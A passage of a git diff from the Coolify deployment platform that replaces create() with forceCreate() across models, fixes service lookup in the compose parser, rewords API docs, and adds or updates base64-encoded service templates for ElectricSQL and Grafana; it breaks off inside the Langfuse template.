Application::forceCreate($application_init); $application->settings->is_static = $this->isStatic; $application->settings->save(); diff --git a/app/Livewire/Project/New/SimpleDockerfile.php b/app/Livewire/Project/New/SimpleDockerfile.php index 1073157e6..400b58fea 100644 --- a/app/Livewire/Project/New/SimpleDockerfile.php +++ b/app/Livewire/Project/New/SimpleDockerfile.php @@ -52,7 +52,7 @@ public function submit() if (! $port) { $port = 80; } - $application = Application::create([ + $application = Application::forceCreate([ 'name' => 'dockerfile-'.new Cuid2, 'repository_project_id' => 0, 'git_repository' => 'coollabsio/coolify', diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php index 966c66a14..dbe56b079 100644 --- a/app/Livewire/Project/Resource/Create.php +++ b/app/Livewire/Project/Resource/Create.php @@ -91,7 +91,7 @@ public function mount() if (in_array($oneClickServiceName, NEEDS_TO_CONNECT_TO_PREDEFINED_NETWORK)) { data_set($service_payload, 'connect_to_docker_network', true); } - $service = Service::create($service_payload); + $service = Service::forceCreate($service_payload); $service->name = "$oneClickServiceName-".$service->uuid; $service->save(); if ($oneClickDotEnvs?->count() > 0) { diff --git a/app/Livewire/Project/Show.php b/app/Livewire/Project/Show.php index e884abb4e..b9628dd0d 100644 --- a/app/Livewire/Project/Show.php +++ b/app/Livewire/Project/Show.php @@ -42,7 +42,7 @@ public function submit() { try { $this->validate(); - $environment = Environment::create([ + $environment = Environment::forceCreate([ 'name' => $this->name, 'project_id' => $this->project->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Server/Destinations.php b/app/Livewire/Server/Destinations.php index 117b43ad6..f41ca00f3 100644 --- a/app/Livewire/Server/Destinations.php +++ b/app/Livewire/Server/Destinations.php @@ -43,7 +43,7 @@ public function add($name) return; } else { - SwarmDocker::create([ + SwarmDocker::forceCreate([ 'name' => $this->server->name.'-'.$name, 'network' => $this->name, 'server_id' => $this->server->id, @@ -57,7 +57,7 @@ public function add($name) return; } else { - StandaloneDocker::create([ + StandaloneDocker::forceCreate([ 'name' => $this->server->name.'-'.$name, 'network' => $name, 'server_id' => $this->server->id, diff --git a/app/Livewire/SettingsBackup.php b/app/Livewire/SettingsBackup.php index 84f5c6081..a111a6096 100644 --- a/app/Livewire/SettingsBackup.php +++ b/app/Livewire/SettingsBackup.php @@ -6,6 +6,7 @@ use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; use App\Models\Server; +use App\Models\StandaloneDocker; use App\Models\StandalonePostgresql; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -82,7 +83,7 @@ public function addCoolifyDatabase() $postgres_password = $envs['POSTGRES_PASSWORD']; $postgres_user = $envs['POSTGRES_USER']; $postgres_db = $envs['POSTGRES_DB']; - $this->database = StandalonePostgresql::create([ + $this->database = StandalonePostgresql::forceCreate([ 'id' => 0, 'name' => 'coolify-db', 'description' => 'Coolify database', @@ -90,7 +91,7 @@ public function addCoolifyDatabase() 'postgres_password' => $postgres_password, 'postgres_db' => $postgres_db, 'status' => 'running', - 'destination_type' => \App\Models\StandaloneDocker::class, + 'destination_type' => StandaloneDocker::class, 'destination_id' => 0, ]); $this->backup = ScheduledDatabaseBackup::create([ @@ -99,7 +100,7 @@ public function addCoolifyDatabase() 'save_s3' => false, 'frequency' => '0 0 * * *', 'database_id' => $this->database->id, - 'database_type' => \App\Models\StandalonePostgresql::class, + 'database_type' => StandalonePostgresql::class, 'team_id' => currentTeam()->id, ]); $this->database->refresh(); diff --git a/app/Models/Application.php b/app/Models/Application.php index 3312f4c76..018bfd421 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -299,7 +299,7 @@ protected static function booted() } }); static::created(function ($application) { - ApplicationSetting::create([ + ApplicationSetting::forceCreate([ 'application_id' => $application->id, ]); $application->compose_parsing_version = self::$parserVersion; diff --git a/app/Models/Project.php b/app/Models/Project.php index eca5440ef..ff2cae041 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -51,10 +51,10 @@ public static function ownedByCurrentTeamCached() protected static function booted() { static::created(function ($project) { - ProjectSetting::create([ + ProjectSetting::forceCreate([ 'project_id' => $project->id, ]); - Environment::create([ + Environment::forceCreate([ 'name' => 'production', 'project_id' => $project->id, 'uuid' => (string) new Cuid2, diff --git a/app/Models/Server.php b/app/Models/Server.php index f5ac0bd45..427896a19 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -143,19 +143,19 @@ protected static function booted() } }); static::created(function ($server) { - ServerSetting::create([ + ServerSetting::forceCreate([ 'server_id' => $server->id, ]); if ($server->id === 0) { if ($server->isSwarm()) { - SwarmDocker::create([ + SwarmDocker::forceCreate([ 'id' => 0, 'name' => 'coolify', 'network' => 'coolify-overlay', 'server_id' => $server->id, ]); } else { - StandaloneDocker::create([ + StandaloneDocker::forceCreate([ 'id' => 0, 'name' => 'coolify', 'network' => 'coolify', @@ -164,13 +164,14 @@ protected static function booted() } } else { if ($server->isSwarm()) { - SwarmDocker::create([ + SwarmDocker::forceCreate([ 'name' => 'coolify-overlay', 'network' => 'coolify-overlay', 'server_id' => $server->id, ]); } else { - $standaloneDocker = new StandaloneDocker([ + $standaloneDocker = new StandaloneDocker; + $standaloneDocker->forceFill([ 'name' => 'coolify', 'uuid' => (string) new Cuid2, 'network' => 'coolify', diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 4ca693fcb..751851283 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -22,25 +22,25 @@ * * @param string $composeYaml The raw Docker Compose YAML content * - * @throws \Exception If the compose file contains command injection attempts + * @throws Exception If the compose file contains command injection attempts */ function validateDockerComposeForInjection(string $composeYaml): void { try { $parsed = Yaml::parse($composeYaml); - } catch (\Exception $e) { - throw new \Exception('Invalid YAML format: '.$e->getMessage(), 0, $e); + } catch (Exception $e) { + throw new Exception('Invalid YAML format: '.$e->getMessage(), 0, $e); } if (! is_array($parsed) || ! isset($parsed['services']) || ! is_array($parsed['services'])) { - throw new \Exception('Docker Compose file must contain a "services" section'); + throw new Exception('Docker Compose file must contain a "services" section'); } // Validate service names foreach ($parsed['services'] as $serviceName => $serviceConfig) { try { validateShellSafePath($serviceName, 'service name'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker Compose service name: '.$e->getMessage(). ' Service names must not contain shell metacharacters.', 0, @@ -68,8 +68,8 @@ function validateDockerComposeForInjection(string $composeYaml): void if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) { try { validateShellSafePath($source, 'volume source'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.', 0, @@ -84,8 +84,8 @@ function validateDockerComposeForInjection(string $composeYaml): void if (is_string($target)) { try { validateShellSafePath($target, 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.', 0, @@ -105,7 +105,7 @@ function validateDockerComposeForInjection(string $composeYaml): void * * @param string $volumeString The volume string to validate * - * @throws \Exception If the volume string contains command injection attempts + * @throws Exception If the volume string contains command injection attempts */ function validateVolumeStringForInjection(string $volumeString): void { @@ -325,9 +325,9 @@ function parseDockerVolumeString(string $volumeString): array if (! $isSimpleEnvVar && ! $isEnvVarWithPath) { try { validateShellSafePath($sourceStr, 'volume source'); - } catch (\Exception $e) { + } catch (Exception $e) { // Re-throw with more context about the volume string - throw new \Exception( + throw new Exception( 'Invalid Docker volume definition: '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -343,8 +343,8 @@ function parseDockerVolumeString(string $volumeString): array // Still, defense in depth is important try { validateShellSafePath($targetStr, 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition: '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -375,7 +375,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int try { $yaml = Yaml::parse($compose); - } catch (\Exception) { + } catch (Exception) { return collect([]); } $services = data_get($yaml, 'services', collect([])); @@ -409,8 +409,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int // Validate service name for command injection try { validateShellSafePath($serviceName, 'service name'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker Compose service name: '.$e->getMessage(). ' Service names must not contain shell metacharacters.' ); @@ -465,7 +465,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $fqdn = generateFqdn(server: $server, random: "$uuid", parserVersion: $resource->compose_parsing_version); } - if ($value && get_class($value) === \Illuminate\Support\Stringable::class && $value->startsWith('/')) { + if ($value && get_class($value) === Illuminate\Support\Stringable::class && $value->startsWith('/')) { $path = $value->value(); if ($path !== '/') { $fqdn = "$fqdn$path"; @@ -738,8 +738,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) { try { validateShellSafePath($sourceValue, 'volume source'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -749,8 +749,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if ($target !== null && ! empty($target->value())) { try { validateShellSafePath($target->value(), 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -1489,7 +1489,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } } $resource->docker_compose_raw = Yaml::dump($originalYaml, 10, 2); - } catch (\Exception $e) { + } catch (Exception $e) { // If parsing fails, keep the original docker_compose_raw unchanged ray('Failed to update docker_compose_raw in applicationParser: '.$e->getMessage()); } @@ -1519,7 +1519,7 @@ function serviceParser(Service $resource): Collection try { $yaml = Yaml::parse($compose); - } catch (\Exception) { + } catch (Exception) { return collect([]); } $services = data_get($yaml, 'services', collect([])); @@ -1566,8 +1566,8 @@ function serviceParser(Service $resource): Collection // Validate service name for command injection try { validateShellSafePath($serviceName, 'service name'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker Compose service name: '.$e->getMessage(). ' Service names must not contain shell metacharacters.' ); @@ -1593,20 +1593,25 @@ function serviceParser(Service $resource): Collection // Use image detection for non-migrated services $isDatabase = isDatabaseImage($image, $service); if ($isDatabase) { - $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first(); - if ($applicationFound) { - $savedService = $applicationFound; + $databaseFound = ServiceDatabase::where('name', $serviceName)->where('service_id', $resource->id)->first(); + if ($databaseFound) { + $savedService = $databaseFound; } else { - $savedService = ServiceDatabase::firstOrCreate([ + $savedService = ServiceDatabase::forceCreate([ 'name' => $serviceName, 'service_id' => $resource->id, ]); } } else { - $savedService = ServiceApplication::firstOrCreate([ - 'name' => $serviceName, - 'service_id' => $resource->id, - ]); + $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first(); + if ($applicationFound) { + $savedService = $applicationFound; + } else { + $savedService = ServiceApplication::forceCreate([ + 'name' => $serviceName, + 'service_id' => $resource->id, + ]); + } } } // Update image if it changed @@ -1772,7 +1777,7 @@ function serviceParser(Service $resource): Collection // Strip scheme for environment variable values $fqdnValueForEnv = str($fqdn)->after('://')->value(); - if ($value && get_class($value) === \Illuminate\Support\Stringable::class && $value->startsWith('/')) { + if ($value && get_class($value) === Illuminate\Support\Stringable::class && $value->startsWith('/')) { $path = $value->value(); if ($path !== '/') { // Only add path if it's not already present (prevents duplication on subsequent parse() calls) @@ -2120,8 +2125,8 @@ function serviceParser(Service $resource): Collection if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) { try { validateShellSafePath($sourceValue, 'volume source'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -2131,8 +2136,8 @@ function serviceParser(Service $resource): Collection if ($target !== null && ! empty($target->value())) { try { validateShellSafePath($target->value(), 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -2741,7 +2746,7 @@ function serviceParser(Service $resource): Collection } } $resource->docker_compose_raw = Yaml::dump($originalYaml, 10, 2); - } catch (\Exception $e) { + } catch (Exception $e) { // If parsing fails, keep the original docker_compose_raw unchanged ray('Failed to update docker_compose_raw in serviceParser: '.$e->getMessage()); } diff --git a/openapi.json b/openapi.json index 277f485f9..a43134dc7 100644 --- a/openapi.json +++ b/openapi.json @@ -2722,8 +2722,7 @@ }, "is_preserve_repository_enabled": { "type": "boolean", - "default": false, - "description": "Preserve repository during deployment." + "description": "Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 9475364b6..7baab40a8 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -1755,8 +1755,7 @@ paths: description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.' is_preserve_repository_enabled: type: boolean - default: false - description: 'Preserve repository during deployment.' + description: 'Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false.' type: object responses: '200': diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index 51cb39de0..590d0ab64 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -1102,6 +1102,22 @@ "minversion": "0.0.0", "port": "9200" }, + "electricsql": { + "documentation": "https://electric-sql.com/docs/guides/deployment?utm_source=coolify.io", + "slogan": "Sync shape-based subsets of your Postgres data over HTTP.", + "compose": "c2VydmljZXM6CiAgZWxlY3RyaWM6CiAgICBpbWFnZTogJ2VsZWN0cmljc3FsL2VsZWN0cmljOjEuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfRUxFQ1RSSUNfMzAwMAogICAgICAtICdEQVRBQkFTRV9VUkw9JHtEQVRBQkFTRV9VUkw6P30nCiAgICAgIC0gJ0VMRUNUUklDX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfRUxFQ1RSSUN9JwogICAgICAtIEVMRUNUUklDX1NUT1JBR0VfRElSPS9hcHAvcGVyc2lzdGVudAogICAgICAtICdFTEVDVFJJQ19VU0FHRV9SRVBPUlRJTkc9JHtFTEVDVFJJQ19VU0FHRV9SRVBPUlRJTkc6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2VsZWN0cmljX2RhdGE6L2FwcC9wZXJzaXN0ZW50JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvdjEvaGVhbHRoJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDUK", + "tags": [ + "electric", + "electricsql", + "realtime", + "sync", + "postgresql" + ], + "category": "backend", + "logo": "svgs/electricsql.svg", + "minversion": "0.0.0", + "port": "3000" + }, "emby": { "documentation": "https://emby.media/support/articles/Home.html?utm_source=coolify.io", "slogan": "A media server software that allows you to organize, stream, and access your multimedia content effortlessly.", @@ -1847,7 +1863,7 @@ "grafana-with-postgresql": { "documentation": "https://grafana.com?utm_source=coolify.io", "slogan": "Grafana is the open source analytics & monitoring solution for every database.", - "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX1VSTF9HUkFGQU5BfScKICAgICAgLSAnR0ZfU0VDVVJJVFlfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0dSQUZBTkF9JwogICAgICAtIEdGX0RBVEFCQVNFX1RZUEU9cG9zdGdyZXMKICAgICAgLSBHRl9EQVRBQkFTRV9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBHRl9EQVRBQkFTRV9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBHRl9EQVRBQkFTRV9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdHRl9EQVRBQkFTRV9OQU1FPSR7UE9TVEdSRVNfREI6LWdyYWZhbmF9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhZmFuYS1kYXRhOi92YXIvbGliL2dyYWZhbmEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBvc3RncmVzcWwKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotZ3JhZmFuYX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFQ1VSSVRZX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9HUkFGQU5BfScKICAgICAgLSBHRl9EQVRBQkFTRV9UWVBFPXBvc3RncmVzCiAgICAgIC0gR0ZfREFUQUJBU0VfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gR0ZfREFUQUJBU0VfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gR0ZfREFUQUJBU0VfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnR0ZfREFUQUJBU0VfTkFNRT0ke1BPU1RHUkVTX0RCOi1ncmFmYW5hfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYWZhbmEtZGF0YTovdmFyL2xpYi9ncmFmYW5hJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgLSBwb3N0Z3Jlc3FsCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWdyYWZhbmF9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "grafana", "analytics", @@ -1862,7 +1878,7 @@ "grafana": { "documentation": "https://grafana.com?utm_source=coolify.io", "slogan": "Grafana is the open source analytics & monitoring solution for every database.", - "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX1VSTF9HUkFGQU5BfScKICAgICAgLSAnR0ZfU0VDVVJJVFlfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0dSQUZBTkF9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhZmFuYS1kYXRhOi92YXIvbGliL2dyYWZhbmEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFQ1VSSVRZX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9HUkFGQU5BfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYWZhbmEtZGF0YTovdmFyL2xpYi9ncmFmYW5hJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "grafana", "analytics", @@ -2356,7 +2372,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0